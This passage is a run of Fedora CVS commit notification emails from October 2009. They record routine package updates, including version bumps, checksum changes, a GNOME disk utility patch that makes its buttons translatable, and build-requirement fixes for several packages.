+- Japanese PO file also has bogus plural forms.
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.0.3-5
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From mclasen at fedoraproject.org  Mon Oct  5 15:27:25 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Mon,  5 Oct 2009 15:27:25 +0000 (UTC)
Subject: rpms/gnome-disk-utility/F-12 button-translations.patch, NONE,
	1.1 gnome-disk-utility.spec, 1.20, 1.21
Message-ID: <20091005152725.B8B2011C00DB@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/gnome-disk-utility/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23225

Modified Files:
	gnome-disk-utility.spec 
Added Files:
	button-translations.patch 
Log Message:
Fix some untranslated buttons


button-translations.patch:
 gdu-section-partition.c |    7 +++----
 1 file changed, 3 insertions(+), 4 deletions(-)

--- NEW FILE button-translations.patch ---
>From b9b449fa53ac738f94db98e6c0f9442d38dc59c2 Mon Sep 17 00:00:00 2001
From: Martin Pitt <martin.pitt at ubuntu.com>
Date: Mon, 5 Oct 2009 16:02:33 +0200
Subject: [PATCH] palimpsest: fix untranslated Delete/Apply buttons

"Delete" and "Apply" buttons were not marked translatable. Use the GTK stock
buttons for Delete/Revert/Apply now to get translations for free.

https://bugzilla.gnome.org/show_bug.cgi?id=597405
---
 src/palimpsest/gdu-section-partition.c |    6 +++---
 1 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/src/palimpsest/gdu-section-partition.c b/src/palimpsest/gdu-section-partition.c
index 2be2f75..f545bde 100644
--- a/src/palimpsest/gdu-section-partition.c
+++ b/src/palimpsest/gdu-section-partition.c
@@ -603,16 +603,16 @@ gdu_section_partition_init (GduSectionPartition *section)
         gtk_box_set_spacing (GTK_BOX (button_box), 6);
         gtk_box_pack_start (GTK_BOX (vbox2), button_box, TRUE, TRUE, 0);
 
-        button = gtk_button_new_with_mnemonic ("_Delete");
+        button = gtk_button_new_from_stock (GTK_STOCK_DELETE);
         gtk_widget_set_tooltip_text (button, _("Delete the partition"));
         g_signal_connect (button, "clicked", G_CALLBACK (on_delete_partition_clicked), section);
         gtk_container_add (GTK_CONTAINER (button_box), button);
 
-        button = gtk_button_new_with_mnemonic (_("_Revert"));
+        button = gtk_button_new_from_stock (GTK_STOCK_REVERT_TO_SAVED);
         section->priv->modify_part_revert_button = button;
         gtk_container_add (GTK_CONTAINER (button_box), button);
 
-        button = gtk_button_new_with_mnemonic ("_Apply");
+        button = gtk_button_new_from_stock (GTK_STOCK_APPLY);
         gtk_widget_set_tooltip_text (button, _("Apply the changes made"));
         g_signal_connect (button, "clicked", G_CALLBACK (on_modify_partition_apply_clicked), section);
         section->priv->modify_part_apply_button = button;
-- 
1.6.3.3



Index: gnome-disk-utility.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-disk-utility/F-12/gnome-disk-utility.spec,v
retrieving revision 1.20
retrieving revision 1.21
diff -u -p -r1.20 -r1.21
--- gnome-disk-utility.spec	19 Sep 2009 00:29:52 -0000	1.20
+++ gnome-disk-utility.spec	5 Oct 2009 15:27:25 -0000	1.21
@@ -13,7 +13,7 @@
 Summary: Disk management application
 Name: gnome-disk-utility
 Version: 2.28.0
-Release: 2%{?dist}
+Release: 3%{?dist}
 License: LGPLv2+
 Group: System Environment/Libraries
 URL: http://git.gnome.org/cgit/gnome-disk-utility
@@ -40,6 +40,9 @@ Requires: %{name}-libs = %{version}-%{re
 Obsoletes: gnome-disk-utility-format
 Obsoletes: nautilus-gdu
 
+# https://bugzilla.gnome.org/show_bug.cgi?id=597405
+Patch0: button-translations.patch
+
 %description
 This package contains the Palimpsest disk management application.
 Palimpsest supports partitioning, file system creation, encryption,
@@ -94,6 +97,7 @@ develop applications with gnome-disk-uti
 
 %prep
 %setup -q
+%patch0 -p1 -b .button-translations
 
 %build
 %configure
@@ -210,6 +214,9 @@ fi
 %{_includedir}/gnome-disk-utility/gdu-gtk/*
 
 %changelog
+* Mon Oct  5 2009 Matthias Clasen <mclasen at redhat.com> - 2.28.0-3%{?dist}
+- Fix some untranslated buttons
+
 * Fri Sep 18 2009 David Zeuthen <davidz at redhat.com> - 2.28.0-2%{?dist}
 - BR libatasmart-devel
 



From than at fedoraproject.org  Mon Oct  5 15:31:54 2009
From: than at fedoraproject.org (Than Ngo)
Date: Mon,  5 Oct 2009 15:31:54 +0000 (UTC)
Subject: rpms/kdeutils/devel .cvsignore, 1.69, 1.70 kdeutils.spec, 1.195,
	1.196 sources, 1.69, 1.70 kdeutils-4.3.1-kscd-lirc.patch, 1.1, NONE
Message-ID: <20091005153154.C3F4E11C00DB@cvs1.fedora.phx.redhat.com>

Author: than

Update of /cvs/extras/rpms/kdeutils/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24556

Modified Files:
	.cvsignore kdeutils.spec sources 
Removed Files:
	kdeutils-4.3.1-kscd-lirc.patch 
Log Message:
4.3.2



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/kdeutils/devel/.cvsignore,v
retrieving revision 1.69
retrieving revision 1.70
diff -u -p -r1.69 -r1.70
--- .cvsignore	1 Sep 2009 18:31:59 -0000	1.69
+++ .cvsignore	5 Oct 2009 15:31:54 -0000	1.70
@@ -1 +1,2 @@
 kdeutils-4.3.1.tar.bz2
+kdeutils-4.3.2.tar.bz2


Index: kdeutils.spec
===================================================================
RCS file: /cvs/extras/rpms/kdeutils/devel/kdeutils.spec,v
retrieving revision 1.195
retrieving revision 1.196
diff -u -p -r1.195 -r1.196
--- kdeutils.spec	31 Aug 2009 10:14:56 -0000	1.195
+++ kdeutils.spec	5 Oct 2009 15:31:54 -0000	1.196
@@ -4,7 +4,7 @@
 
 Name:           kdeutils
 Epoch:          6
-Version:        4.3.1
+Version:        4.3.2
 Release:        1%{?dist}
 Summary:        K Desktop Environment - Utilities
 
@@ -217,6 +217,9 @@ fi
 
 
 %changelog
+* Mon Oct 05 2009 Than Ngo <than at redhat.com> - 4.3.2-1
+- 4.3.2
+
 * Fri Aug 28 2009 Than Ngo <than at redhat.com> - 4.3.1-1
 - 4.3.1
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/kdeutils/devel/sources,v
retrieving revision 1.69
retrieving revision 1.70
diff -u -p -r1.69 -r1.70
--- sources	28 Aug 2009 16:22:39 -0000	1.69
+++ sources	5 Oct 2009 15:31:54 -0000	1.70
@@ -1 +1 @@
-69491ba185ba8ecb2dd4860d7048a88a  kdeutils-4.3.1.tar.bz2
+b5e72292ed1504f8ee5a82a388af3b04  kdeutils-4.3.2.tar.bz2


--- kdeutils-4.3.1-kscd-lirc.patch DELETED ---



From dwalsh at fedoraproject.org  Mon Oct  5 15:32:53 2009
From: dwalsh at fedoraproject.org (Daniel J Walsh)
Date: Mon,  5 Oct 2009 15:32:53 +0000 (UTC)
Subject: rpms/setroubleshoot/devel .cvsignore, 1.129,
	1.130 setroubleshoot.spec, 1.169, 1.170 sources, 1.142, 1.143
Message-ID: <20091005153253.0106311C00DB@cvs1.fedora.phx.redhat.com>

Author: dwalsh

Update of /cvs/extras/rpms/setroubleshoot/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25009

Modified Files:
	.cvsignore setroubleshoot.spec sources 
Log Message:
* Mon Oct 5 2009 Dan Walsh <dwalsh at redhat.com> - 2.2.36-1
- Fix Fix It button
- Remove Setroubleshoot: from every heading



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/setroubleshoot/devel/.cvsignore,v
retrieving revision 1.129
retrieving revision 1.130
diff -u -p -r1.129 -r1.130
--- .cvsignore	1 Oct 2009 18:37:56 -0000	1.129
+++ .cvsignore	5 Oct 2009 15:32:52 -0000	1.130
@@ -47,3 +47,4 @@ setroubleshoot-2.2.32.tar.gz
 setroubleshoot-2.2.33.tar.gz
 setroubleshoot-2.2.34.tar.gz
 setroubleshoot-2.2.35.tar.gz
+setroubleshoot-2.2.36.tar.gz


Index: setroubleshoot.spec
===================================================================
RCS file: /cvs/extras/rpms/setroubleshoot/devel/setroubleshoot.spec,v
retrieving revision 1.169
retrieving revision 1.170
diff -u -p -r1.169 -r1.170
--- setroubleshoot.spec	1 Oct 2009 18:37:56 -0000	1.169
+++ setroubleshoot.spec	5 Oct 2009 15:32:52 -0000	1.170
@@ -1,6 +1,6 @@
 Summary: Helps troubleshoot SELinux problems
 Name: setroubleshoot
-Version: 2.2.35
+Version: 2.2.36
 Release: 1%{?dist}
 License: GPLv2+
 Group: Applications/System
@@ -212,6 +212,10 @@ Setroubleshoot documentation package
 %doc %{pkgdocdir}
 
 %changelog
+* Mon Oct 5 2009 Dan Walsh <dwalsh at redhat.com> - 2.2.36-1
+- Fix Fix It button
+- Remove Setroubleshoot: from every heading
+
 * Thu Oct 1 2009 Dan Walsh <dwalsh at redhat.com> - 2.2.35-1
 - Fix translations, plurals and glade
 	- Update Po


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/setroubleshoot/devel/sources,v
retrieving revision 1.142
retrieving revision 1.143
diff -u -p -r1.142 -r1.143
--- sources	1 Oct 2009 18:37:56 -0000	1.142
+++ sources	5 Oct 2009 15:32:52 -0000	1.143
@@ -1 +1 @@
-7968d605ac79fd7b7f643110e3cfb8d5  setroubleshoot-2.2.35.tar.gz
+2fb06dae32978bb3591f01ebb8c3d785  setroubleshoot-2.2.36.tar.gz



From kasal at fedoraproject.org  Mon Oct  5 15:34:42 2009
From: kasal at fedoraproject.org (=?utf-8?b?xaB0xJtww6FuIEthc2Fs?=)
Date: Mon,  5 Oct 2009 15:34:42 +0000 (UTC)
Subject: rpms/perl-Array-Compare/devel .cvsignore, 1.6,
	1.7 perl-Array-Compare.spec, 1.12, 1.13 sources, 1.6, 1.7
Message-ID: <20091005153442.4B85E11C00DB@cvs1.fedora.phx.redhat.com>

Author: kasal

Update of /cvs/extras/rpms/perl-Array-Compare/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26169

Modified Files:
	.cvsignore perl-Array-Compare.spec sources 
Log Message:
- new upstream version


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/perl-Array-Compare/devel/.cvsignore,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- .cvsignore	27 Feb 2009 15:38:36 -0000	1.6
+++ .cvsignore	5 Oct 2009 15:34:41 -0000	1.7
@@ -1 +1 @@
-Array-Compare-1.17.tar.gz
+Array-Compare-2.01.tar.gz


Index: perl-Array-Compare.spec
===================================================================
RCS file: /cvs/extras/rpms/perl-Array-Compare/devel/perl-Array-Compare.spec,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- perl-Array-Compare.spec	26 Jul 2009 01:43:18 -0000	1.12
+++ perl-Array-Compare.spec	5 Oct 2009 15:34:42 -0000	1.13
@@ -1,6 +1,6 @@
 Name:           perl-Array-Compare
-Version:        1.17
-Release:        2%{?dist}
+Version:        2.01
+Release:        1%{?dist}
 Summary:        Perl extension for comparing arrays
 
 Group:          Development/Libraries
@@ -51,6 +51,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Mon Oct  5 2009 Stepan Kasal <skasal at redhat.com> - 2.01-1
+- new upstream version
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.17-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/perl-Array-Compare/devel/sources,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- sources	27 Feb 2009 15:38:37 -0000	1.6
+++ sources	5 Oct 2009 15:34:42 -0000	1.7
@@ -1 +1 @@
-0159ebb79529528db4cc68051532d22d  Array-Compare-1.17.tar.gz
+df28c76bf58b3bdae86e1f9bdb0b7b9d  Array-Compare-2.01.tar.gz



From than at fedoraproject.org  Mon Oct  5 15:35:27 2009
From: than at fedoraproject.org (Than Ngo)
Date: Mon,  5 Oct 2009 15:35:27 +0000 (UTC)
Subject: rpms/kdeutils/devel kdeutils.spec,1.196,1.197
Message-ID: <20091005153527.1ED1111C00DB@cvs1.fedora.phx.redhat.com>

Author: than

Update of /cvs/extras/rpms/kdeutils/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26400

Modified Files:
	kdeutils.spec 
Log Message:
4.3.2



Index: kdeutils.spec
===================================================================
RCS file: /cvs/extras/rpms/kdeutils/devel/kdeutils.spec,v
retrieving revision 1.196
retrieving revision 1.197
diff -u -p -r1.196 -r1.197
--- kdeutils.spec	5 Oct 2009 15:31:54 -0000	1.196
+++ kdeutils.spec	5 Oct 2009 15:35:26 -0000	1.197
@@ -16,7 +16,6 @@ Source0:        ftp://ftp.kde.org/pub/kd
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 Patch1:         kdeutils-4.2.85-pykde4.patch
-Patch2:         kdeutils-4.3.1-kscd-lirc.patch
 
 ## upstreamed patches
 
@@ -93,7 +92,6 @@ Requires: system-config-printer-libs
 
 # NEEDSWORK
 #patch1 -p1 -b .pykde4
-%patch2 -p1 -b .kscd-lirc
 
 %build
 



From ndim at fedoraproject.org  Mon Oct  5 15:36:17 2009
From: ndim at fedoraproject.org (Hans Ulrich Niedermann)
Date: Mon,  5 Oct 2009 15:36:17 +0000 (UTC)
Subject: rpms/nted/devel .cvsignore, 1.13, 1.14 nted.spec, 1.21, 1.22 sources,
	1.13, 1.14
Message-ID: <20091005153617.0FC8411C00DB@cvs1.fedora.phx.redhat.com>

Author: ndim

Update of /cvs/pkgs/rpms/nted/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26707

Modified Files:
	.cvsignore nted.spec sources 
Log Message:
* Mon Oct  5 2009 Hans Ulrich Niedermann <hun at n-dimensional.de> - 1.8.6-1
- 1.8.6 release



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/nted/devel/.cvsignore,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- .cvsignore	26 Sep 2009 16:47:46 -0000	1.13
+++ .cvsignore	5 Oct 2009 15:36:16 -0000	1.14
@@ -1 +1 @@
-nted-1.8.1.tar.gz
+nted-1.8.6.tar.gz


Index: nted.spec
===================================================================
RCS file: /cvs/pkgs/rpms/nted/devel/nted.spec,v
retrieving revision 1.21
retrieving revision 1.22
diff -u -p -r1.21 -r1.22
--- nted.spec	26 Sep 2009 16:47:46 -0000	1.21
+++ nted.spec	5 Oct 2009 15:36:16 -0000	1.22
@@ -14,7 +14,7 @@
 
 
 Name:           nted
-Version:        1.8.1
+Version:        1.8.6
 Release:        1%{?dist}
 Summary:        Musical score editor
 Summary(de):    Partitureditor
@@ -125,6 +125,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Mon Oct  5 2009 Hans Ulrich Niedermann <hun at n-dimensional.de> - 1.8.6-1
+- 1.8.6 release
+
 * Sat Sep 26 2009 Hans Ulrich Niedermann <hun at n-dimensional.de> - 1.8.1-1
 - update to upstream's nted-1.8.1 release
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/nted/devel/sources,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- sources	26 Sep 2009 16:47:46 -0000	1.13
+++ sources	5 Oct 2009 15:36:16 -0000	1.14
@@ -1 +1 @@
-eb3fda356ddb8c3686926d201d04adc7  nted-1.8.1.tar.gz
+07eb469b1bfc19d807622ca2dc4c529c  nted-1.8.6.tar.gz



From rjones at fedoraproject.org  Mon Oct  5 15:36:15 2009
From: rjones at fedoraproject.org (Richard W.M. Jones)
Date: Mon,  5 Oct 2009 15:36:15 +0000 (UTC)
Subject: rpms/virt-top/devel virt-top.spec,1.8,1.9
Message-ID: <20091005153615.55EBE11C0298@cvs1.fedora.phx.redhat.com>

Author: rjones

Update of /cvs/pkgs/rpms/virt-top/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26690

Modified Files:
	virt-top.spec 
Log Message:
Additional BR on gettext (for msgfmt).


Index: virt-top.spec
===================================================================
RCS file: /cvs/pkgs/rpms/virt-top/devel/virt-top.spec,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- virt-top.spec	5 Oct 2009 15:26:50 -0000	1.8
+++ virt-top.spec	5 Oct 2009 15:36:15 -0000	1.9
@@ -3,7 +3,7 @@
 
 Name:           virt-top
 Version:        1.0.4
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        Utility like top(1) for displaying virtualization stats
 
 Group:          Development/Libraries
@@ -33,6 +33,8 @@ BuildRequires:  ocaml-fileutils-devel
 %ifnarch ppc64
 BuildRequires:  ocaml-camomile-data
 %endif
+# For msgfmt:
+BuildRequires:  gettext
 
 # Non-OCaml BRs.
 BuildRequires:  libvirt-devel
@@ -99,12 +101,13 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
-* Mon Oct  5 2009 Richard W.M. Jones <rjones at redhat.com> - 1.0.4-1
+* Mon Oct  5 2009 Richard W.M. Jones <rjones at redhat.com> - 1.0.4-2
 - New upstream release 1.0.4.
 - Includes new translations (RHBZ#493799).
 - Overall hardware memory is now displayed in CSV file (RHBZ#521785).
 - Several fixes to Japanese support (RHBZ#508197).
 - Japanese PO file also has bogus plural forms.
+- Additional BR on gettext (for msgfmt).
 
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.0.3-5
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild



From iarnell at fedoraproject.org  Mon Oct  5 15:38:26 2009
From: iarnell at fedoraproject.org (Iain Arnell)
Date: Mon,  5 Oct 2009 15:38:26 +0000 (UTC)
Subject: rpms/vim-perl-support/devel sources, 1.8, 1.9 vim-perl-support.spec,
	1.11, 1.12
Message-ID: <20091005153826.8AA1611C00DB@cvs1.fedora.phx.redhat.com>

Author: iarnell

Update of /cvs/pkgs/rpms/vim-perl-support/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27294

Modified Files:
	sources vim-perl-support.spec 
Log Message:
* Mon Oct 05 2009 Iain Arnell <iarnell at gmail.com> 4.5-1
- update to 4.5



Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/vim-perl-support/devel/sources,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- sources	3 Jul 2009 09:20:59 -0000	1.8
+++ sources	5 Oct 2009 15:38:26 -0000	1.9
@@ -1 +1 @@
-79e9cbd0d939899d6bd9c865f8924061  perl-support.zip
+eabd3ad9c02aaae9937b35514d5f9cd3  perl-support.zip


Index: vim-perl-support.spec
===================================================================
RCS file: /cvs/pkgs/rpms/vim-perl-support/devel/vim-perl-support.spec,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- vim-perl-support.spec	27 Jul 2009 06:53:34 -0000	1.11
+++ vim-perl-support.spec	5 Oct 2009 15:38:26 -0000	1.12
@@ -1,13 +1,13 @@
 Name:           vim-perl-support
-Version:        4.4
-Release:        2%{?dist}
+Version:        4.5
+Release:        1%{?dist}
 Summary:        Perl-IDE for VIM
 
 Group:          Applications/Editors
 # according to plugin/perl-support.vim
 License:        GPLv2
 URL:            http://www.vim.org/scripts/script.php?script_id=556
-# curl -o perl-support.zip 'http://vim.sourceforge.net/scripts/download_script.php?src_id=10934'
+# curl -o perl-support.zip 'http://vim.sourceforge.net/scripts/download_script.php?src_id=11480'
 Source0:        perl-support.zip
 BuildRoot:      %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
 
@@ -132,6 +132,9 @@ exit 0
 
 
 %changelog
+* Mon Oct 05 2009 Iain Arnell <iarnell at gmail.com> 4.5-1
+- update to 4.5
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 4.4-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From limb at fedoraproject.org  Mon Oct  5 15:39:49 2009
From: limb at fedoraproject.org (Jon Ciesla)
Date: Mon,  5 Oct 2009 15:39:49 +0000 (UTC)
Subject: rpms/cfdg/devel .cvsignore, 1.3, 1.4 cfdg.spec, 1.6, 1.7 sources,
	1.3, 1.4
Message-ID: <20091005153949.38C6E11C00DB@cvs1.fedora.phx.redhat.com>

Author: limb

Update of /cvs/pkgs/rpms/cfdg/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27672

Modified Files:
	.cvsignore cfdg.spec sources 
Log Message:
New upstream.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/cfdg/devel/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	27 Apr 2009 20:27:09 -0000	1.3
+++ .cvsignore	5 Oct 2009 15:39:49 -0000	1.4
@@ -1 +1 @@
-ContextFreeSource2.2.tgz
+ContextFreeSource2.2.1.tgz


Index: cfdg.spec
===================================================================
RCS file: /cvs/pkgs/rpms/cfdg/devel/cfdg.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- cfdg.spec	24 Jul 2009 18:49:31 -0000	1.6
+++ cfdg.spec	5 Oct 2009 15:39:49 -0000	1.7
@@ -1,6 +1,6 @@
 Name: cfdg
-Version:  2.2
-Release:  4%{?dist}
+Version:  2.2.1
+Release:  1%{?dist}
 Summary: Context Free Design Grammar
 
 Group: Amusements/Games 
@@ -67,6 +67,9 @@ rm -rf %{buildroot}
 %doc input/* LICENSE.txt README.txt
 
 %changelog
+* Mon Oct 05 2009 Jon Ciesla <limb at jcomserv.net> - 2.2.1-1
+- New upstream.
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.2-4
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/cfdg/devel/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	27 Apr 2009 20:27:09 -0000	1.3
+++ sources	5 Oct 2009 15:39:49 -0000	1.4
@@ -1 +1 @@
-e48c1967e4ec0b7764ef698b4a887ae5  ContextFreeSource2.2.tgz
+e9cc2acb195aaa1098781d061e0a4311  ContextFreeSource2.2.1.tgz



From kasal at fedoraproject.org  Mon Oct  5 15:40:00 2009
From: kasal at fedoraproject.org (=?utf-8?b?xaB0xJtww6FuIEthc2Fs?=)
Date: Mon,  5 Oct 2009 15:40:00 +0000 (UTC)
Subject: rpms/perl-Authen-SASL/devel .cvsignore, 1.6,
	1.7 perl-Authen-SASL.spec, 1.12, 1.13 sources, 1.6, 1.7
Message-ID: <20091005154000.CF9F811C00DB@cvs1.fedora.phx.redhat.com>

Author: kasal

Update of /cvs/extras/rpms/perl-Authen-SASL/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27839

Modified Files:
	.cvsignore perl-Authen-SASL.spec sources 
Log Message:
- new upstream version


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/perl-Authen-SASL/devel/.cvsignore,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- .cvsignore	1 Jul 2008 22:43:32 -0000	1.6
+++ .cvsignore	5 Oct 2009 15:40:00 -0000	1.7
@@ -1 +1 @@
-Authen-SASL-2.12.tar.gz
+Authen-SASL-2.13.tar.gz


Index: perl-Authen-SASL.spec
===================================================================
RCS file: /cvs/extras/rpms/perl-Authen-SASL/devel/perl-Authen-SASL.spec,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- perl-Authen-SASL.spec	26 Jul 2009 01:46:17 -0000	1.12
+++ perl-Authen-SASL.spec	5 Oct 2009 15:40:00 -0000	1.13
@@ -1,6 +1,6 @@
 Name:           perl-Authen-SASL
-Version:        2.12
-Release:        3%{?dist}
+Version:        2.13
+Release:        1%{?dist}
 Summary:        SASL Authentication framework for Perl
 License:        GPL+ or Artistic
 Group:          Development/Libraries
@@ -48,6 +48,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man3/*
 
 %changelog
+* Mon Oct  5 2009 Stepan Kasal <skasal at redhat.com> - 2.13-1
+- new upstream version
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.12-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/perl-Authen-SASL/devel/sources,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- sources	1 Jul 2008 22:43:32 -0000	1.6
+++ sources	5 Oct 2009 15:40:00 -0000	1.7
@@ -1 +1 @@
-ddbcb7917bf3659d5cf1ee6b681f06d4  Authen-SASL-2.12.tar.gz
+a222f9eecb03919cdff8c7cdca23ba32  Authen-SASL-2.13.tar.gz



From kasal at fedoraproject.org  Mon Oct  5 15:41:48 2009
From: kasal at fedoraproject.org (=?utf-8?b?xaB0xJtww6FuIEthc2Fs?=)
Date: Mon,  5 Oct 2009 15:41:48 +0000 (UTC)
Subject: rpms/perl-Business-ISBN/devel .cvsignore, 1.3,
	1.4 perl-Business-ISBN.spec, 1.5, 1.6 sources, 1.3, 1.4
Message-ID: <20091005154148.F220C11C00DB@cvs1.fedora.phx.redhat.com>

Author: kasal

Update of /cvs/extras/rpms/perl-Business-ISBN/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28965

Modified Files:
	.cvsignore perl-Business-ISBN.spec sources 
Log Message:
- new upstream version


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/perl-Business-ISBN/devel/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	24 Nov 2008 15:22:00 -0000	1.3
+++ .cvsignore	5 Oct 2009 15:41:48 -0000	1.4
@@ -1 +1 @@
-Business-ISBN-2.04_01.tar.gz
+Business-ISBN-2.05.tar.gz


Index: perl-Business-ISBN.spec
===================================================================
RCS file: /cvs/extras/rpms/perl-Business-ISBN/devel/perl-Business-ISBN.spec,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- perl-Business-ISBN.spec	26 Jul 2009 03:52:40 -0000	1.5
+++ perl-Business-ISBN.spec	5 Oct 2009 15:41:48 -0000	1.6
@@ -1,6 +1,6 @@
 Name:           perl-Business-ISBN
-Version:        2.04_01
-Release:        3%{?dist}
+Version:        2.05
+Release:        1%{?dist}
 Summary:        Perl module to work with International Standard Book Numbers
 
 Group:          Development/Libraries
@@ -58,6 +58,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Mon Oct  5 2009 Stepan Kasal <skasal at redhat.com> - 2.05-1
+- new upstream version
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.04_01-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/perl-Business-ISBN/devel/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	24 Nov 2008 15:22:00 -0000	1.3
+++ sources	5 Oct 2009 15:41:48 -0000	1.4
@@ -1 +1 @@
-80f11d0a9bb384f42d4728a23476754f  Business-ISBN-2.04_01.tar.gz
+944a2844711fa6ab1b079d8d2ef4cd75  Business-ISBN-2.05.tar.gz



From iarnell at fedoraproject.org  Mon Oct  5 15:49:45 2009
From: iarnell at fedoraproject.org (Iain Arnell)
Date: Mon,  5 Oct 2009 15:49:45 +0000 (UTC)
Subject: rpms/perl-Number-Format/devel .cvsignore, 1.3,
	1.4 perl-Number-Format.spec, 1.3, 1.4 sources, 1.3, 1.4
Message-ID: <20091005154945.1513711C00DB@cvs1.fedora.phx.redhat.com>

Author: iarnell

Update of /cvs/pkgs/rpms/perl-Number-Format/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31557

Modified Files:
	.cvsignore perl-Number-Format.spec sources 
Log Message:
* Mon Oct 05 2009 Iain Arnell <iarnell at gmail.com> 1.73-1
- update to latest upstream



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/perl-Number-Format/devel/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	14 May 2009 03:42:29 -0000	1.3
+++ .cvsignore	5 Oct 2009 15:49:44 -0000	1.4
@@ -1 +1 @@
-Number-Format-1.72a.tar.gz
+Number-Format-1.73.tar.gz


Index: perl-Number-Format.spec
===================================================================
RCS file: /cvs/pkgs/rpms/perl-Number-Format/devel/perl-Number-Format.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- perl-Number-Format.spec	26 Jul 2009 13:50:15 -0000	1.3
+++ perl-Number-Format.spec	5 Oct 2009 15:49:44 -0000	1.4
@@ -1,6 +1,6 @@
 Name:           perl-Number-Format
-Version:        1.72a
-Release:        2%{?dist}
+Version:        1.73
+Release:        1%{?dist}
 Summary:        Perl extension for formatting numbers
 License:        GPL+ or Artistic
 Group:          Development/Libraries
@@ -17,7 +17,7 @@ This module provides an easy means of fo
 suitable for displaying to the user.
 
 %prep
-%setup -q -n Number-Format-1.72
+%setup -q -n Number-Format-%{version}
 
 %build
 %{__perl} Makefile.PL INSTALLDIRS=vendor
